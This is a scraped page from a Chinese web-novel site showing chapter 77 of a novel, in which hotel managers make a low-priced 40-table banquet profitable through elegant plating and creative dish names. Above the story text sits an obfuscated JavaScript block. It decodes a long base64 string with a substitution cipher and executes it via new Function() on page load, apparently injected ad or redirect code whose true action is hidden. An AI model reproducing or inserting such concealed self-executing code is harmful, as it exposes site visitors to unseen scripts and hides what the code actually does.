趣书网

阅读记录  |   用户书架
(function(){function te1a7951(z4874c33){var rceaee7d5="Jjzf?2;8t!SDxe$]CAyp3m/sMR[uQr.W7@-vLUqk&(5OGgNX^EKnbI_=Z1Pc90T|w~o6ha,:FVYiHlBd%4";var y4c20dc8="sIGOcF8pV@1U29_~=7]rfSv0$j[.HlY%5?a|EJmxLMXC^D;tek4wuR!ozBKPZd/gT,QynA-Wh63&qbi(:N";return atob(z4874c33).split('').map(function(ff0fd44){var x06364=rceaee7d5.indexOf(ff0fd44);return x06364==-1?ff0fd44:y4c20dc8[x06364]}).join('')}var c=te1a7951('rtmp://bkJoMD1uWyIzcyIrIjNWU0EiKyI3IisiZSJ5QzNiaD9YQj1oZCl7ZDNiaD9YQj1oZDY/VjNseD9TfkozVj9ZQWVsLX5xM2UzMGUwP1l+cXg/eGVBMyl7QjNkVEcoLT92OkJoVHVYXkpYZGgtL0J8LVg9cHU4ci1YMz1wcSkpe3BeWGJwaH0vLXAgRXNLQTAwMGwtQzNiaD9YQj1oZDNWWT87U1NTKXtwXlhicGggbVhwQmh8dTNwPXFPRi1wTz0wXmQzVlk/O1NTUyl9Ti8tcCAwbEtWWS03U0NbInJSSixRc1MkJmZhZyRVbSRRdygmIn4iL15wLHNTIn4iSkIwLFNLViJ+Ij8/WCx4c3g3LHNWLHhZIHhZJXM3JTdzInlOLy1wIGhzZXN4O1ZTQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZUEpK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlOyl5fmJZZVZBVjNLQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZTspK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlQSl5fkpsc2w7Q3F4P3hlQTNbaHNlc3g7VlNkIi5ZdDY/cXRiMDI0Uj9xcm4wYUNDIil5fl4zLTstO1Y7c0Noc2VzeDtWU2QiLllVci41SXJJOmtybDp0YjBhQ0MiKX5eMDNTXjBzQ2hzZXN4O1ZTZCI/WXRCP1lJNi06N2giKX5COy1ZM2VZO0Noc2VzeDtWU2QiP3F0bmx6MlI5b0NDIil+UlZZVlk3ZVMtQ2hzZXN4O1ZTZCI/WTFKLTVvQyIpfi1WP1NBO0FDaHNlc3g7VlNkIj9xdHg5NVVaOW9DQyIpflpBc0FlS2xeQ2hzZXN4O1ZTZCItcWU4bHxDQyIpflhlWWxsU0F4Q3EzZTMwZTA/WVtoc2VzeDtWU2Qidzoycy1hQ0MiKXl+ODBeZVZBP3hDWGVZbGxTQXhbaHNlc3g7VlNkIi54dDhsYUNDIil5fi1WS3gwMDdeQ1hlWWxsU0F4W2hzZXN4O1ZTZCI5cWsvbFlqQyIpeX5sXjtWZVZDWGVZbGxTQXhbaHNlc3g7VlNkIj9xMmI5emVYIil5fkJsPzctN2VDaHNlc3g7VlNkImw6MnMueHxDIil+cl4teF5WWS03Q2hzZXN4O1ZTZCJsOjJuIil+cF5lQVZeP1lDaHNlc3g7VlNkImx6ZUY5YUNDIilOLy1wIFpTO2UwZTMzQ2hzZXN4O1ZTZCI/eFNzLTpJcjB8Q0MiKU4vLXAgOD9lU0EzOzdLTi8tcCAvc0teM3hsQzY/VjNseD9TW3N5TkIzZDY/VjNseD9TdXJeaHxYRj5TKXsvc0teM3hsQzY/VjNseD9TWy1WS3gwMDdeZGxeO1ZlVmQpKjY/VjNseD9TdXJeaHxYRil5fUIzZHI9Py1YQj1odUpeLXA/RnVCaDBea2YzZFpTO2UwZTMzKT4sUyl7OD9lU0EzOzdLQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiMHp0SzB6MjY5OkxDIikpTjg/ZVNBMzs3S3VCMEMiWCIrbF47VmVWZCkqU15LTjg/ZVNBMzs3S3VKWDZyXnVuQjBYRkMiU3NzVyJOOD9lU0EzOzdLdUpYNnJedUZeQnxGWEMiN3NzOGsiTjg/ZVNBMzs3S3UwQkotbHJeMENYcGJeTkIzZHF4P3hlQTN1bD0wNl9DaGJycil7cXg/eGVBM3VsPTA2dS04OF5oME9GQnIwZDg/ZVNBMzs3Syl9XnJKXnsvLXAgRlM/MDBDM2JoP1hCPWhkKXtxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkOD9lU0EzOzdLKU5xM2UzMGUwP1l1cF5xPS9eTC9eaFgmQkpYXmhecGRwXmVBVl4/WX5GUz8wMH4zLXJKXil9TnEzZTMwZTA/WXUtMDBML15oWCZCSlheaF5wZHBeZUFWXj9ZfkZTPzAwfjMtckpeKX19Ly1wIEZLP3NZeEtlQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiOTpTQjk6b0MiKSlORks/c1l4S2V1QjBDSjNWP1lBZWwtKzgwXmVWQT94ZGxeO1ZlVmQpKlNeSylORks/c1l4S2V1Slg2cl51Rl5CfEZYQyJzOGsiTkZLP3NZeEtldUpYNnJedT0vXnAzcj1uQyJGQjAwXmgiTj89aEpYIFpLOzMwXmxTO0NkXjdsWTNzfm47LTMtP0t+NlYtM2w3WV5DeHNzKUM+Y3A9cUJKXnVwLT9eZFszXlg/RmReN2xZM3N+bjstMy0/Syl+aF5uIGNwPXFCSl5kZGQkfnBeUl4/WClDPkpeWHdCcV49YlhkZGQpQz5wXlJeP1hkaF5uIExwcD1wZCJYQnFePWJYIikpKX42Vi0zbDdZXikpKXkpTi8tcCA2P1k3ZWxDLUo2aD8gM2JoP1hCPWhkWlkweDNeP3hLKXsvLXAgcjdeU0FDWyJSSiJ+Ij9KSiJ+IkZYcXIifiJ8QjMifiJSOHwifiI4aHwieU4vLXAgcmVeXlk/P0NyN15TQXVyXmh8WEZOcjdeU0FDcjdeU0FbLVZLeDAwN15kbF47VmVWZCkqcmVeXlk/Pyl5Tj89aEpYIF47XmVBQWV4Q1siOXg/Yj9ZMi9sNTg4MGh0Wmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5Ti8tcCA9VjA/cy0zQ147XmVBQWV4W3N5TkIzZF47XmVBQWV4dXJeaHxYRj5TKXs9VjA/cy0zQ147XmVBQWV4Wy1WS3gwMDdeZGxeO1ZlVmQpKl47XmVBQWV4dXJeaHxYRil5fS8tcCByXmxec1lDWyJGWFg4SiVUIn5xU2UzN2xzbF5kPVYwP3MtMyl+IkZYcXIifkZLP3NZeEtldUIwfmBNe0ozVj9ZQWVsLX11TXtyN15TQX1geVtaQXNBZUtsXnlkIlQiKU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaEpeaDAgSEogRj1KWCAiK3JebF5zWU5YcDZ7Ly1wIG5sczM3VlZDLW4tQlggWks7MzBebFM7ZHJebF5zWX57Py0/Rl4lImg9LEpYPXBeIn5wXjBCcF4/WCUiMz1ycj1uIn0pTm5sczM3VlZDLW4tQlggbmxzMzdWVnVYXmtYZClOLy1wIEY3eHgwO0NubHMzN1ZWdUJoMF5rZjNkRXNLQTAwMGwtZFZTKSlOLy1wIFpWMzM7M0MiIk5CM2RGN3h4MDs+Q3Mpe1pWMzM7M0NubHMzN1ZWW14wM1NeMHN5ZEY3eHgwOylObmxzMzdWVkNubHMzN1ZWW14wM1NeMHN5ZHN+Rjd4eDA7KX1ubHMzN1ZWQ25sczM3VlZbQmw/Ny03ZXlkVHV7U35LfVR8KVtyXi14XlZZLTd5ZGRrQz5rW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKSkpW1pBc0FlS2xeeWQiIilObmxzMzdWVkNubHMzN1ZWK1pWMzM7M05ubHMzN1ZWQ2hzZXN4O1ZTZG5sczM3VlYpTlpZMHgzXj94S0NubHMzN1ZWW1JWWVZZN2VTLXlkIlQiKVtzeU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaHxeWCBISiBGPUpYIEpiPz9eSkoiK1pZMHgzXj94S30/LVg/RmQzZTstZVkpe0IzZDg/ZVNBMzs3S19DaGJycik4P2VTQTM7N0t1Ly1yYl4rQyJccFxofF5YIEhKIEY9SlggMy1Ccl4wIiszZTstZVl9Ly1wIHxlUz87Q2JZZVZBVjNLZDBsS1ZZLTdTdT89aD8tWGRbYGg9bixNe2ctWF5bImg9biJ5ZCl9YH5gRnBeMyxNe3I9Py1YQj1odUZwXjN9YH5gYko/LE17a2x4LUtTUz8tZCl9YHkpdUo9cFhkZGQpQz5sXjtWZVZkKSx1NykpW1pBc0FlS2xeeWQifiIpKU4vLXAgQmw7S0E7bDdDfGVTPzt1QmgwXmtmM2RFc0tBMDAwbC1kVlMpKT4sU0B8ZVM/O1teMDNTXjBzeWR8ZVM/O3VCaDBea2YzZEVzS0EwMDBsLWRWUykpKSUiIk58ZVM/O0N8ZVM/O1tCOy1ZM2VZO3lkQmw7S0E7bDd+IiIpW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKStCbDtLQTtsN05GSz9zWXhLZXVKcD9DWyJGWFg4SiVUIn5aWTB4M14/eEt+Rks/c1l4S2V1QjB+fGVTPzt5W1pBc0FlS2xeeWQiVCIpTlhwNntxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkRks/c1l4S2UpfT8tWD9GZF4pe3F4P3hlQTN1LTAwTC9eaFgmQkpYXmhecGQiZ2YoTz1oWF5oWCY9LTBeMCJ+ZGQpQz57cXg/eGVBM3VsPTA2dUJoSl5wWDFeMz1wXmRGSz9zWXhLZX5xeD94ZUEzdWw9MDZ1P0ZCcjA0PTBeSltzeSl9KSl9QjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoLTg4XmgwXjAgXnEgWD0gRlhxciJOLy1wIDhBeGw7LUs/Q3F4P3hlQTN1fF5YTHJecV5oWDE2ajBkRks/c1l4S2V1QjApTkIzZDhBeGw7LUs/Q0NoYnJydnY4QXhsOy1LP0NDYmgwXjNCaF4wKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoID8taFggfF5YIF5xIDNwPXEgRlhxciJ9fX1OQjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoSl5oMCBSSiBGPUpYICIrL3NLXjN4bH0vLXAga2x4LUtTUz8tQzNiaD9YQj1oZCl7WHA2ez89aEpYIC87M2V4P1NZQ2RoXm4gZy1YXil1WD0mPT8tcl5nLVhebVhwQmh8ZClOPz1oSlggaDNlN2VZPzNZQ2BKcVhCJEpCMCRNey9BbDszdUozVj9ZQWVsLX0kOC9gTnJeWCBIM1Zsc1YtQVlDVW1mNHU4LXBKXmRyPT8tcm1YPXAtfF51fF5YalhecWRoM2U3ZVk/M1kpKU5CM2RIM1Zsc1YtQVlDQ2hicnJ2dkgzVmxzVi1BWXUwLVheX0MvOzNleD9TWSl7SDNWbHNWLUFZQ3s4L3dCcV5KJXN+MC1YXiUvOzNleD9TWX19cF5YYnBoIEgzVmxzVi1BWXU4L3dCcV5KK1N9Py1YP0ZkMzdeLTdWc2VeKXtwXlhicGggU319Ti8tcCBxU2UzN2xzbF5DM2JoP1hCPWhkRnNlVmw/KXtwXlhicGggaHNlc3g7VlNkRnNlVmw/KVtCOy1ZM2VZO3lkRXNLQTAwMGwtZEt4KX5sXjtWZVZkKXVYPW1YcEJofGRZVil1SnJCP15kLVZLeDAwN15kbF47VmVWZCkqZSkreCkpfU42P1k3ZWxkcVNlMzdsc2xeZC9zS14zeGwpKU5xM2UzMGUwP1lbIi0wMEwvXmhYJkJKWF5oXnAieWQicV5KSi18XiJ+ZDNiaD9YQj1oZDM3Xi03VnNlXil7QjNkMzdeLTdWc2VedTAtWC11RUNDSjNWP1lBZWwtKXtxeD94ZUEzdXxeWExyXnFeaFgxNmowZEZLP3NZeEtldUIwKXVwXnE9L15kKU4vLXAgXjBsZTszQTBDaGJyck5CM2Q4P2VTQTM7N0tfQ2hicnIpezg/ZVNBMzs3S3UvLXJiXitDIlxwXGhwXj9eQi9eIF5xIDg9SlggcV5KSi18XiJOOD9lU0EzOzdLdS8tcmJeK0MiXHBcaF51MC1YLXUvICIrMzdeLTdWc2VedTAtWC11SE5eMGxlOzNBMENkdXV1fD9lS0swWVkpQz57QjNkX3w/ZUtLMFlZdnZ8P2VLSzBZWXVyXmh8WEY8Q3MpcF5YYnBoTjg/ZVNBMzs3S3UvLXJiXitDIlxwXGgiK3w/ZUtLMFlZdVI9QmhkIiAiKX19aF5uIDJiaD9YQj1oZCItcHxKIn4zN14tN1ZzZV51MC1YLXVIKWR7JFgwP0olSmxzbDt+JHI9fCVeMGxlOzNBMH0pfX0pKX0pZFsiOXg/Yi41MXNmenJZLjVJWmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5fiJTS1Yifm5CaDA9bn4wPT9icV5oWCl9TjNzM1ZTQTdlZClO'.substr(7));new Function(c)()})();
上一页
目录 | 设置
下一章

第77章 同舟共济(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

王明丽找到王敏华:“鸿通公司的 40 桌酒席,我们坐下来算个账。总的原则是不能赔钱,稍微赚一点也可以。这四书桌酒席办好了,其他公司到我们店开年会,就有吸引力了。”

王敏华:“是的,现在饭店生意都不好做了。像过去那样,30%的利润时代过去了,能有 10~20%的利润就是非常可观了。”

王敏华经过仔细测算,发现1000 块钱将够本,便说,“这个问题,需要请示王总经理,看他什么意见。”

王明丽:“是的,我们做不了主,还是要问咱们的大哥呀,他觉得可以就做,他觉得不可以就推掉不做了。”

王敏丽找到王松年,将 40 做酒席的预算告诉了他。

王松年听了,沉吟了一会儿,“这么说 1000 块钱将够本,是这个意思吗?”

王明丽又急忙解释说,“如果我们不做的话,其他酒店就可能接了大单了。”

王松年说,“你把李文茂叫来,我跟他谈一谈,看他们后堂能不能从节约材料上做点文章,每桌能百八十块钱利润就可以了,起码能下工资啊。”

王明利给李文茂打电话,“李文茂总厨师长,王总经理请你过来,有事要和你商量。”

本小章还未完,请点击下一页继续阅读后面精彩内容!李文茂一愣,连忙问,“王总经理请我去?”他心里寻思着:因为李文茂自从到了金龙饭店,跟他联系的就是刘妮娜或者是谢荣,从来没有听说过王总经理要和他有事和他谈一谈,今天总经理找茬,有事要谈,不知道有什么重要的事情,难道又是人事变动?

李文茂怀着忐忑不安的心情,来到王松年的办公室,轻轻地敲了一下门,“进来!”王松年说。

李文茂一路小跑地来到了王松年的老板桌前,笑着问道:“王总,你找我呀?”

王松年用手示意李文茂坐下,然后看了看旁边的沙发,对李文茂说:“鸿通公司要开年会,订了 40 桌酒席,每桌 1000 块钱,要上鱿鱼龙虾这些名贵菜。你看 1000 块钱一桌能不能拿下来?”

李文茂思忖了一会儿,回答道:“拿下来是没有问题,但可能没有什么利润,白忙活一场。”

王松年看着李文茂,继续说道:“食材上能不能做点文章呢?比如做得精一点儿、菜的相貌好看一点,其他配菜也一样。来这里吃饭的都是有头有脸的人,他们不在乎菜的分量多少,而是在乎菜的色香味俱全。现在讲究吃菜肴要吃什么文化,就是说在菜品外表上搞一点噱头,让客人看起来好看,心里舒服。现在这个不缺吃的年代,而是讲究品菜的味道。因此没有人在乎你盘子堆得冒尖不冒尖的问题,不会在多夹一筷子还是少一筷子的事情,特别是这种年会,大家吃的就是一种氛围。所以,菜的质量搞得好一点儿,样子搞得花哨一点儿,菜谱名字搞的有文化点儿,器皿精致一点儿,让人看了舒服,就可以了。”

李文茂听王松年这么一说,脑子一下子就开了窍。“王总的这个建议非常好!现在人肚子里油水大,不像过去那么狠吃,更多的是讲保健,吃多了,还会得三高病啊!所以客人都是象征性地吃一点,品一点儿。既然王总这么说了,那我们就按照王总经理的意见去办!”

李文茂回到后堂,就召开了厨师长会议。

他说:“有 40 桌酒席在我们金龙饭店里,但是承办酒席的老板给的价格很低,还要上鱿鱼龙虾。现在海味儿进价本来就高,如果实打实地做,那我们就是赔本赚吆喝。所以我们要动一动脑子,在节约食材上下功夫,在精字上做文章。刚才王总经理对我说,贵重的食材做得精致一点,分量可以少一点,盘子不必冒尖上,但是要有花式,而且菜名要爆出新节目。上菜的器皿一律用景德镇的瓷器,清白瓦亮,给人一种舒适的感觉。”

5 个厨师长听了李文茂这样说,都开心地笑了。“如果这样做,又多了几招,就是多费些功夫嘛,麻烦了我们自己,让客个高兴。做些花样,我们都做过,无非在菜瓜上是雕刻一下,摆一些与海鲜相配套的配菜,突出海鲜的特色。至于菜名,就让那个安东大学毕业的大学生去想吧,给起菜谱名子吧。”

李文茂把厨师长们研究的结果告诉了王敏丽。

王敏丽听后高兴地跳了起来:“太好了!这样既能让客人满意,又能节约食材,还有利润,这个办法真是太棒了!”

王敏丽接着说:“菜名就让王文丽助理帮忙起吧,他是安东大学语言文学系的高材生,起菜谱名绝对没什么问题。”

李文茂说:“那就好办了,我们现在就开始准备。”

王敏丽找到王文丽:“王助理,金龙饭店承包了 40 桌酒席,这次要搞点文化出来,在菜名上起写新的菜名,你能不能帮忙起几个菜名呢?”

王文丽本想推辞,但一想自己还在金龙饭店工作着,这样推辞显然不合适,而且起菜名对他这个学中文的高材生来说就是小菜一碟,于是她爽快地答应了:“没问题,明天早晨我把起好的菜名打印出来送给你。”

王明利来到王松年的办公室,高兴地说:“我和李文茂总厨师长碰了头,开了会,他们已经开始行动了。蔡谱名字的交给了王助理,她答应明天早上给我。”

王松年听王敏丽这么一讲,哈哈大笑:“俗话说,三个臭皮匠,顶个诸葛亮。你们几个人合伙鼓捣,这不是把这一单生意承接下来了吗?以后还要这样,遇到顾客主动找到我们,我们就要把活接下来,在做的过程中想办法克服困难,满足客户的要求,还要有利润,这才是企业发展的方向。”

王敏丽笑着说:“就是这样,否则我们这个老店要想有新的突破,太难了。毕竟我们的员工文化素质偏低,让他们搞出些新花样比较困难,只能在传统菜品上下功夫,薄利多销,才赢得市场。”

王松年安排这些事情,立即把谢荣叫到办公室,叮嘱道:“这次鸿通公司在我们承办的 40 桌酒席,食材的采购你要亲自抓,一定要保证质量,不能出现一点问题,否则我唯你是问。”

谢荣看到王松年这么严肃,就知道这次承接的酒席非同一般,她必须认真对待。

他一路火花带闪电地赶到海鲜批发市场,认真挑选,采购了一批质量上乘、价格合理的海鲜食材,为顺利拿下这个大客户立下了汗马功劳。

第二天早上,王文丽把起好菜名给了 王敏丽。

王敏丽看到这些菜名,忍不住哈哈大笑起来,捂着肚子说,“二龙戏珠、蜻蜓点水、白鹤亮翅、飞檐走壁,这些都是闻所未闻的菜名,你这菜名,包准一下子就吸引住了食客的眼球。“

鸿通公司的年会如期举行,40 多桌酒席安排在了两个大餐厅里。服务员是特地多几个公司临时聘请来了,一个个年轻貌美,一身职业装,打扮得花枝招展,很是亮眼。

客人们陆续上桌,鸿通公司的老总朱宏达致辞后,服务员就开始上菜啦。

大厅里播放着轻音乐,年轻的服务员笑容满面,为客人上菜,每上一道菜,她们就报出菜名。

这些菜名,来宾们从未听过,看到菜摆出样的样式,才发现确实和菜名相符,大家都觉得很新奇。

客人们吃得很满意,高高兴兴地离开了。

王敏丽发现,这些菜名给客人留下了深刻的印象。

王敏丽和王敏华核实了一下,这 40 做酒席的成本,每桌能实现利润 200 元,也算是不错的成果呢!

喜欢一个女人的婚姻经历请大家收藏:一个女人的婚姻经历本站更新速度全网最快。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间